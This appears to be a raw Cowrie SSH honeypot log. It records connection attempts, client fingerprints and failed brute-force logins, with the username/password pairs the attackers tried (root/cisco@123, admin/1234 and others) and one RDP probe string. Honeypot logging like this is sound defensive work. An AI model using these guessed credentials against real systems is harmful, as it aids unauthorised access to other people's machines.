{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:57.680407Z","src_ip":"171.244.141.86","session":"8fd9f5714f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":38444,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca5a2fdd7b7","protocol":"ssh","message":"New connection: 170.106.188.200:38444 (159.203.135.109:22) [session: cca5a2fdd7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:58.084373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:58.091154Z","src_ip":"170.106.188.200","session":"cca5a2fdd7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:58.158226Z","src_ip":"170.106.188.200","session":"cca5a2fdd7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wx123","message":"login attempt [root/wx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:58.461714Z","src_ip":"170.106.188.200","session":"cca5a2fdd7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:58.716987Z","src_ip":"171.244.141.86","session":"8fd9f5714f8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:59.542595Z","src_ip":"170.106.188.200","session":"cca5a2fdd7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:59.972931Z","src_ip":"171.244.141.86","session":"8fd9f5714f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":20831,"dst_ip":"159.203.135.109","dst_port":22,"session":"987482c115cf","protocol":"ssh","message":"New connection: 193.46.255.86:20831 (159.203.135.109:22) [session: 987482c115cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:05.756571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:05.761719Z","src_ip":"193.46.255.86","session":"987482c115cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:05.892579Z","src_ip":"193.46.255.86","session":"987482c115cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:06.488697Z","src_ip":"193.46.255.86","session":"987482c115cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:07.621980Z","src_ip":"193.46.255.86","session":"987482c115cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":46304,"dst_ip":"159.203.135.109","dst_port":22,"session":"25f34a2eba59","protocol":"ssh","message":"New connection: 43.135.182.46:46304 (159.203.135.109:22) [session: 25f34a2eba59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:39.385796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:39.390033Z","src_ip":"43.135.182.46","session":"25f34a2eba59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:39.458509Z","src_ip":"43.135.182.46","session":"25f34a2eba59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clouduser","message":"login attempt [root/clouduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:39.765108Z","src_ip":"43.135.182.46","session":"25f34a2eba59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:40.836616Z","src_ip":"43.135.182.46","session":"25f34a2eba59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40714,"dst_ip":"10.17.0.5","dst_port":22,"session":"5baedf0c3408","protocol":"ssh","message":"New connection: 147.45.197.250:40714 (10.17.0.5:22) [session: 5baedf0c3408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:53.141070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:53.145201Z","src_ip":"147.45.197.250","session":"5baedf0c3408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:53.234458Z","src_ip":"147.45.197.250","session":"5baedf0c3408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123","message":"login attempt [root/super123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:53.503055Z","src_ip":"147.45.197.250","session":"5baedf0c3408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:33:54.595825Z","src_ip":"147.45.197.250","session":"5baedf0c3408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55958,"dst_ip":"159.203.135.109","dst_port":22,"session":"0144bfe02a22","protocol":"ssh","message":"New connection: 152.42.212.128:55958 (159.203.135.109:22) [session: 0144bfe02a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:11.139513Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:11.146570Z","src_ip":"152.42.212.128","session":"0144bfe02a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:11.150379Z","src_ip":"152.42.212.128","session":"0144bfe02a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":32846,"dst_ip":"159.203.135.109","dst_port":22,"session":"d197e431db81","protocol":"ssh","message":"New connection: 103.91.246.101:32846 (159.203.135.109:22) [session: d197e431db81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:18.478271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:18.483338Z","src_ip":"103.91.246.101","session":"d197e431db81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:18.717656Z","src_ip":"103.91.246.101","session":"d197e431db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoling","message":"login attempt [root/xiaoling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:19.683106Z","src_ip":"103.91.246.101","session":"d197e431db81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":33826,"dst_ip":"159.203.135.109","dst_port":22,"session":"79dfceb24f68","protocol":"ssh","message":"New connection: 170.106.188.200:33826 (159.203.135.109:22) [session: 79dfceb24f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:20.072140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:20.077364Z","src_ip":"170.106.188.200","session":"79dfceb24f68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:20.145954Z","src_ip":"170.106.188.200","session":"79dfceb24f68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lll","message":"login attempt [root/lll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:20.452373Z","src_ip":"170.106.188.200","session":"79dfceb24f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:20.922615Z","src_ip":"103.91.246.101","session":"d197e431db81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:21.526802Z","src_ip":"170.106.188.200","session":"79dfceb24f68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":45488,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac9c1b2586a0","protocol":"ssh","message":"New connection: 171.244.141.86:45488 (159.203.135.109:22) [session: ac9c1b2586a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:23.487779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:23.494194Z","src_ip":"171.244.141.86","session":"ac9c1b2586a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:23.745171Z","src_ip":"171.244.141.86","session":"ac9c1b2586a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:24.769807Z","src_ip":"171.244.141.86","session":"ac9c1b2586a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:26.022858Z","src_ip":"171.244.141.86","session":"ac9c1b2586a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42878,"dst_ip":"159.203.135.109","dst_port":22,"session":"5591d30850d9","protocol":"ssh","message":"New connection: 141.11.21.145:42878 (159.203.135.109:22) [session: 5591d30850d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:32.600671Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:32.682258Z","src_ip":"141.11.21.145","session":"5591d30850d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42892,"dst_ip":"159.203.135.109","dst_port":22,"session":"940121618cf6","protocol":"ssh","message":"New connection: 141.11.21.145:42892 (159.203.135.109:22) [session: 940121618cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:32.757229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:34:32.762113Z","src_ip":"141.11.21.145","session":"940121618cf6","protocol":"ssh"}
